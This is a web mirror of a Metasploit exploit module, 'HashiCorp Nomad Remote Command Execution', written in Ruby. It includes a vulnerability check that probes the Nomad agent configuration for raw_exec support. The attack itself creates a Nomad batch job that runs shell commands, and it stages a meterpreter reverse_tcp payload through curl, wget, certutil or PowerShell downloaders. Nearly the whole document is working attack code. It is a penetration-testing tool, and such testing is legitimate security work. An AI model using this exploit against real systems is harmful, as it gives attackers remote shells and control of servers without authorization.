CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/nomad_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'HashiCorp Nomad Remote Command Execution',
18
'Description' => %q{
19
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
20
is to use the 'raw_exec' driver, which runs with high privileges. Development servers
21
and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
22
Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Wyatt Dahlenburg (@wdahlenb)',
27
],
28
'References' => [
29
[ 'URL', 'https://www.nomadproject.io/' ]
30
],
31
'Targets' => [
32
[
33
'Linux',
34
{
35
'Platform' => 'linux',
36
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
37
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
38
}
39
],
40
[
41
'Windows',
42
{
43
'Platform' => 'win',
44
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
45
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
46
}
47
]
48
],
49
'Payload' => {},
50
'Privileged' => false,
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2021-05-17',
53
'Notes' => {
54
'Stability' => [CRASH_SAFE],
55
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
56
'Reliability' => [REPEATABLE_SESSION]
57
}
58
)
59
)
60
register_options(
61
[
62
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
63
OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
64
OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
65
OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
66
Opt::RPORT(4646),
67
OptString.new('TARGETURI', [true, 'The base path', '/']),
68
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
69
]
70
)
71
end
72
73
def check
74
res = send_request_cgi({
75
'method' => 'GET',
76
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
77
'headers' => {
78
'X-Nomad-Token' => datastore['ACL_TOKEN']
79
}
80
})
81
82
unless res
83
vprint_error 'Connection failed'
84
return CheckCode::Unknown
85
end
86
87
unless res.code == 200
88
vprint_error 'Unexpected reply'
89
return CheckCode::Safe
90
end
91
92
agent_info = JSON.parse(res.body)
93
94
if agent_info['config']['Plugins']
95
agent_info['config']['Plugins'].each do |plugin|
96
if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
97
return CheckCode::Vulnerable
98
end
99
end
100
end
101
102
if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
103
return CheckCode::Vulnerable
104
end
105
106
if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
107
print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
108
return CheckCode::Appears
109
elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
110
return CheckCode::Vulnerable
111
end
112
113
CheckCode::Safe
114
rescue JSON::ParserError
115
vprint_error 'Failed to parse JSON output.'
116
return CheckCode::Unknown
117
end
118
119
def execute_command(cmd, _opts = {})
120
uri = target_uri.path
121
job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
122
print_status("Creating job '#{job_name}'")
123
124
case target.name
125
when /Linux/
126
arg1 = 'sh'
127
arg2 = '-c'
128
when /Windows/
129
arg1 = 'cmd.exe'
130
arg2 = '/c'
131
end
132
133
res = send_request_cgi({
134
'method' => 'PUT',
135
'uri' => normalize_uri(uri, 'v1/jobs'),
136
'headers' => {
137
'X-Nomad-Token' => datastore['ACL_TOKEN']
138
},
139
'ctype' => 'application/json',
140
'data' => {
141
Job: {
142
ID: job_name,
143
Name: job_name,
144
Type: 'batch',
145
Datacenters: [datastore['DATACENTER']],
146
TaskGroups: [
147
{
148
Name: job_name,
149
Count: 1,
150
Tasks: [
151
{
152
Name: job_name,
153
Driver: datastore['JOB_TYPE'],
154
User: '',
155
Config: {
156
command: arg1,
157
args: [
158
arg2,
159
cmd.to_s
160
]
161
},
162
Resources: {
163
CPU: 500,
164
MemoryMB: 256
165
},
166
LogConfig: {
167
MaxFiles: 1,
168
MaxFileSizeMB: 1
169
}
170
}
171
],
172
RestartPolicy: {
173
Attempts: 0
174
},
175
EphemeralDisk: {
176
SizeMB: 300
177
}
178
}
179
]
180
}
181
}.to_json
182
})
183
unless res && res.code == 200
184
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
185
end
186
187
job_info = JSON.parse(res.body)
188
eval_id = job_info['EvalID']
189
190
print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
191
print_status("Waiting for job '#{job_name}' to trigger")
192
rescue JSON::ParserError
193
vprint_error 'Failed to parse JSON output.'
194
end
195
196
def exploit
197
execute_cmdstager
198
end
199
end
200
201